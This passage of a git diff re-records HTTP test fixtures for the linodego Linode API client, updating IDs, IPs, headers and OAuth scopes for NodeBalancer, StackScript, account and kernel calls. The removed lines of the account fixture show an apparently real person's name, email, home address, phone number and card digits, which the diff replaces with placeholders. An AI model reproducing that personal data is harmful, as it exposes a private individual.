'{"address": "192.168.200.144", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 46624769, - "region": "us-southeast"}' + body: '{"address": "192.168.215.219", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59541321, + "region": "us-southeast", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -210,15 +232,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "189" + - "210" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -231,16 +257,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.200.144:80","label":"node-192.168.200.144"}' + body: '{"address":"192.168.215.219:80","label":"node-192.168.215.219"}' form: {} headers: Accept: @@ -249,12 +278,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668/nodes method: POST response: - body: '{"id": 483260124, "address": "192.168.200.144:80", "label": "node-192.168.200.144", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": - 357848}' + body: '{"id": 2047156376, "address": "192.168.215.219:80", "label": "node-192.168.215.219", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1134668, "nodebalancer_id": + 694138}' headers: Access-Control-Allow-Credentials: - "true" @@ -267,15 +296,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "184" + - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -288,16 +321,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.200.144:8080","label":"node-192.168.200.144","weight":50,"mode":"accept"}' + body: '{"address":"192.168.215.219:8080","label":"node-192.168.215.219","weight":50,"mode":"accept"}' form: {} headers: Accept: @@ -306,12 +342,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668/nodes/2047156376 method: PUT response: - body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": - 357848}' + body: '{"id": 2047156376, "address": "192.168.215.219:8080", "label": "node-192.168.215.219", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1134668, "nodebalancer_id": + 694138}' headers: Access-Control-Allow-Credentials: - "true" @@ -324,15 +360,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "186" + - "188" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -345,9 +385,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -363,12 +406,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668/nodes method: GET response: - body: '{"data": [{"id": 483260124, "address": "192.168.200.144:8080", "label": - "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", - "config_id": 550600, "nodebalancer_id": 357848}], "page": 1, "pages": 1, "results": + body: '{"data": [{"id": 2047156376, "address": "192.168.215.219:8080", "label": + "node-192.168.215.219", "status": "Unknown", "weight": 50, "mode": "accept", + "config_id": 1134668, "nodebalancer_id": 694138}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -382,16 +425,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "235" + - "237" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -405,9 +451,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -423,12 +472,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668/nodes/2047156376 method: GET response: - body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", - "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": - 357848}' + body: '{"id": 2047156376, "address": "192.168.215.219:8080", "label": "node-192.168.215.219", + "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 1134668, "nodebalancer_id": + 694138}' headers: Access-Control-Allow-Credentials: - "true" @@ -441,16 +490,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "186" + - "188" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -464,9 +516,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -482,7 +537,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668/nodes/2047156376 method: DELETE response: body: '{}' @@ -498,15 +553,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -519,9 +578,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -537,7 +599,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600 + url: https://api.linode.com/v4beta/nodebalancers/694138/configs/1134668 method: DELETE response: body: '{}' @@ -553,15 +615,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -574,9 +640,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -592,7 +661,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/357848 + url: https://api.linode.com/v4beta/nodebalancers/694138 method: DELETE response: body: '{}' @@ -608,15 +677,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:42 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -629,9 +702,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -647,7 +723,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46624769 + url: https://api.linode.com/v4beta/linode/instances/59541321 method: DELETE response: body: '{}' @@ -663,15 +739,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -684,9 +764,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleCreateStackscript.yaml b/test/integration/fixtures/ExampleCreateStackscript.yaml index 4c50ecbe3..1196841d7 100644 --- a/test/integration/fixtures/ExampleCreateStackscript.yaml +++ b/test/integration/fixtures/ExampleCreateStackscript.yaml @@ -2,8 +2,8 @@ version: 1 interactions: - request: - body: '{"label":"example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description - for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667","description":"description + for example stackscript 2024-05-31 10:04:42.930224 -0700 PDT m=+25.142783033","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 1","script":"#!/bin/bash\n"}' form: {} headers: @@ -16,10 +16,10 @@ interactions: url: https://api.linode.com/v4beta/linode/stackscripts method: POST response: - body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", - "label": "example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", - "description": "description for example stackscript 2023-05-31 13:49:07.801864 - -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1384476, "username": "youjungk01", "user_gravatar_id": "89c3034428203ecf41c0c4795ac9f651", + "label": "example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667", + "description": "description for example stackscript 2024-05-31 10:04:42.930224 + -0700 PDT m=+25.142783033", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 1", "script": "#!/bin/bash\n", "user_defined_fields": @@ -36,15 +36,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "600" + - "602" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -57,17 +61,20 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description - for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"2 example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667","description":"description + for example stackscript 2024-05-31 10:04:42.930224 -0700 PDT m=+25.142783033","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 2","script":"#!/bin/bash\necho 2\n"}' form: {} headers: @@ -77,13 +84,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1186275 + url: https://api.linode.com/v4beta/linode/stackscripts/1384476 method: PUT response: - body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", - "label": "2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", - "description": "description for example stackscript 2023-05-31 13:49:07.801864 - -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1384476, "username": "youjungk01", "user_gravatar_id": "89c3034428203ecf41c0c4795ac9f651", + "label": "2 example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667", + "description": "description for example stackscript 2024-05-31 10:04:42.930224 + -0700 PDT m=+25.142783033", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 2", "script": "#!/bin/bash\necho 2\n", "user_defined_fields": @@ -100,15 +107,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "610" + - "612" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -121,17 +132,21 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description - for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision + body: '{"label":"3 2 example stackscript 2024-05-31 10:04:42.930229 -0700 PDT + m=+25.142787667","description":"description for example stackscript 2024-05-31 + 10:04:42.930224 -0700 PDT m=+25.142783033","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 3","script":"#!/bin/bash\necho 2\necho 3\n"}' form: {} headers: @@ -141,13 +156,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1186275 + url: https://api.linode.com/v4beta/linode/stackscripts/1384476 method: PUT response: - body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", - "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", - "description": "description for example stackscript 2023-05-31 13:49:07.801864 - -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1384476, "username": "youjungk01", "user_gravatar_id": "89c3034428203ecf41c0c4795ac9f651", + "label": "3 2 example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667", + "description": "description for example stackscript 2024-05-31 10:04:42.930224 + -0700 PDT m=+25.142783033", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": @@ -164,15 +179,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "620" + - "622" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -185,9 +204,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -203,13 +225,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1186275 + url: https://api.linode.com/v4beta/linode/stackscripts/1384476 method: GET response: - body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", - "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", - "description": "description for example stackscript 2023-05-31 13:49:07.801864 - -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", + body: '{"id": 1384476, "username": "youjungk01", "user_gravatar_id": "89c3034428203ecf41c0c4795ac9f651", + "label": "3 2 example stackscript 2024-05-31 10:04:42.930229 -0700 PDT m=+25.142787667", + "description": "description for example stackscript 2024-05-31 10:04:42.930224 + -0700 PDT m=+25.142783033", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": @@ -226,16 +248,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "620" + - "622" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -249,9 +274,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -267,7 +295,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/stackscripts/1186275 + url: https://api.linode.com/v4beta/linode/stackscripts/1384476 method: DELETE response: body: '{}' @@ -283,15 +311,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -304,9 +336,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleGetAccount.yaml b/test/integration/fixtures/ExampleGetAccount.yaml index 3fa04a656..21c2c07b8 100644 --- a/test/integration/fixtures/ExampleGetAccount.yaml +++ b/test/integration/fixtures/ExampleGetAccount.yaml @@ -14,14 +14,14 @@ interactions: url: https://api.linode.com/v4beta/account method: GET response: - body: '{"company": "Linode", "email": "lgarber@linode.com", "first_name": "Lena", - "last_name": "Garber", "address_1": "2228 Lenox Ridge Ct NE", "address_2": "NA", - "city": "Atlanta", "state": "GA", "zip": "30319", "country": "US", "phone": - "6787613864", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": - {"last_four": "1488", "expiry": "02/2022"}, "balance_uninvoiced": 0.0, "active_since": + body: '{"company": "Linode", "email": "foo@linode.com", "first_name": "foo", + "last_name": "bar", "address_1": "123 Street Street", "address_2": "NA", + "city": "Philadelphia", "state": "PA", "zip": "30000", "country": "US", "phone": + "1234567891", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": + {"last_four": "1234", "expiry": "02/2020"}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", - "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "590F6313-2E4D-47CE-90943D2F724A87CB"}' + "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "FFFFFFFF-2E4D-47CE-FFFFFFFFFFFFFFFFF"}' headers: Access-Control-Allow-Credentials: - "true" @@ -34,16 +34,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "687" + - "658" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -57,9 +60,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleGetImage_missing.yaml b/test/integration/fixtures/ExampleGetImage_missing.yaml index 7cc73523e..5defad42a 100644 --- a/test/integration/fixtures/ExampleGetImage_missing.yaml +++ b/test/integration/fixtures/ExampleGetImage_missing.yaml @@ -23,13 +23,17 @@ interactions: Access-Control-Allow-Origin: - '*' Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "37" Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -37,9 +41,12 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" status: 404 Not Found code: 404 duration: "" diff --git a/test/integration/fixtures/ExampleGetKernel_specific.yaml b/test/integration/fixtures/ExampleGetKernel_specific.yaml index 6f521c5c1..fa8d613dc 100644 --- a/test/integration/fixtures/ExampleGetKernel_specific.yaml +++ b/test/integration/fixtures/ExampleGetKernel_specific.yaml @@ -14,8 +14,8 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-32bit method: GET response: - body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", - "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", + "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: @@ -29,16 +29,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "204" + - "202" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:45 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -54,7 +57,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -73,8 +76,8 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-64bit method: GET response: - body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", - "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", + "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: @@ -88,16 +91,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "209" + - "207" Content-Security-Policy: - 